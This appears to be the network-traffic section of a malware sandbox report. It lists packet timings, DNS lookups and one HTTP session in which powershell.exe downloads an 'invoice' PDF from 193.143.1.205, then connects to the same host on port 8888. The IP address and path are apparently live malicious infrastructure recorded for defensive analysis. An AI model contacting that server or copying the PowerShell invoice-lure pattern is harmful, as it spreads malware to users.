Jan 11, 2025 06:20:05.364512920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364521027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364552021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364852905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364864111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364875078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364886045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364897013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364898920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364909887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364918947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364921093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364932060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364943981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364943981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364955902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364967108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.364972115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364995956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.364996910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365008116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365019083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365036964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365063906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365569115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365581036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365591049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365602970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365613937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365628004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365629911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365639925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365659952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365680933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365681887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365693092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365703106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365714073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365715981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365725040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365736008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365747929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365751982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365760088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365772009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365782976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365787029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365796089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365808010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365808964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365818977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365830898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365833044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365842104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365854025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365854025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365870953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365875959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365883112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365892887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365904093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365919113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365952969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.365953922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365967989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365981102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.365993023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366002083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366004944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366017103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366027117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366046906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366364002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366375923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366386890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366398096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366406918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366413116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366424084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366458893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366565943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366578102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366588116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366597891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366609097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366610050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366627932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366635084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366638899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366650105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366660118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366671085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366682053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366682053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366693020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366703987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366714954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366717100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366729021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366740942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366745949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366758108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366765022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366769075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366776943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366786003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366787910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366800070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366812944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366817951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366823912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366836071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366847038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366853952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366858006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366868973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366878033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366880894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366893053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366899967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366904974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366915941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366920948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366926908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366950035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366954088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.366960049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366971016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366982937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366993904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.366997004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367017984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367353916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367364883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367374897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367387056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367393970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367398024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367412090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367423058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367429018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367434025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367445946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367451906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367474079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367496967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367513895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367526054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367536068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367547035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367553949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367558002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367568970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367578983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367584944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367599010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367608070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367609978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367621899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367631912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367649078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367681980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367718935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367729902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367739916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367753029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367763996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367768049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367774963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367785931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367790937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367798090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367810011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367818117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367821932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367832899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367842913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367854118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367861986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367866039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367878914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.367899895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.367919922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.368223906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368395090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368406057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368416071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368427992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368432999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.368438959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368449926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368459940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368463993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.368484020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368484974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.368494987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368505955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368509054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.368519068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368535995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368545055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.368546963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368557930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368568897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368587017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.368606091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368609905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.368627071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368639946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368669033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.368927002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368969917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.368980885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.368990898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.369003057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.369014978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.369025946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.369030952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.369041920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.369061947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.369082928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.369111061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.369122028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.369127989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.369138002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.369170904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.369193077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.378067970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.394207001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394251108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394262075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394279957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394325972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.394361973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.394395113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394404888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394416094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394427061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394438982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394443035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.394448996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394462109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394473076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.394493103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.394532919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394545078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394556999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394579887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.394608974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.394804955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394844055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394855976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394881010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.394917011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394928932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394939899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.394968033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.394996881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.395011902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:05.439694881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.584444046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:05.774367094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:06.187849045 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:06.192646027 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:06.192748070 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:06.192910910 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:06.197724104 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:06.967416048 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:20:07.017821074 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:20:07.858535051 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:20:13.836293936 CET	50086	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:20:13.836293936 CET	192.168.2.8	1.1.1.1	0xa8be	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:20:13.844271898 CET	1.1.1.1	192.168.2.8	0xa8be	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:20:14.636218071 CET	1.1.1.1	192.168.2.8	0x595c	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:20:14.636218071 CET	1.1.1.1	192.168.2.8	0x595c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:20:14.636218071 CET	1.1.1.1	192.168.2.8	0x595c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:20:14.636218071 CET	1.1.1.1	192.168.2.8	0x595c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:20:14.636218071 CET	1.1.1.1	192.168.2.8	0x595c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:20:14.636218071 CET	1.1.1.1	192.168.2.8	0x595c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:20:14.636218071 CET	1.1.1.1	192.168.2.8	0x595c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:20:14.636218071 CET	1.1.1.1	192.168.2.8	0x595c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:20:14.636218071 CET	1.1.1.1	192.168.2.8	0x595c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:21:19.490721941 CET	1.1.1.1	192.168.2.8	0xf36b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:21:19.490721941 CET	1.1.1.1	192.168.2.8	0xf36b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	2100	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:20:03.836118937 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:20:04.617831945 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:20:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type 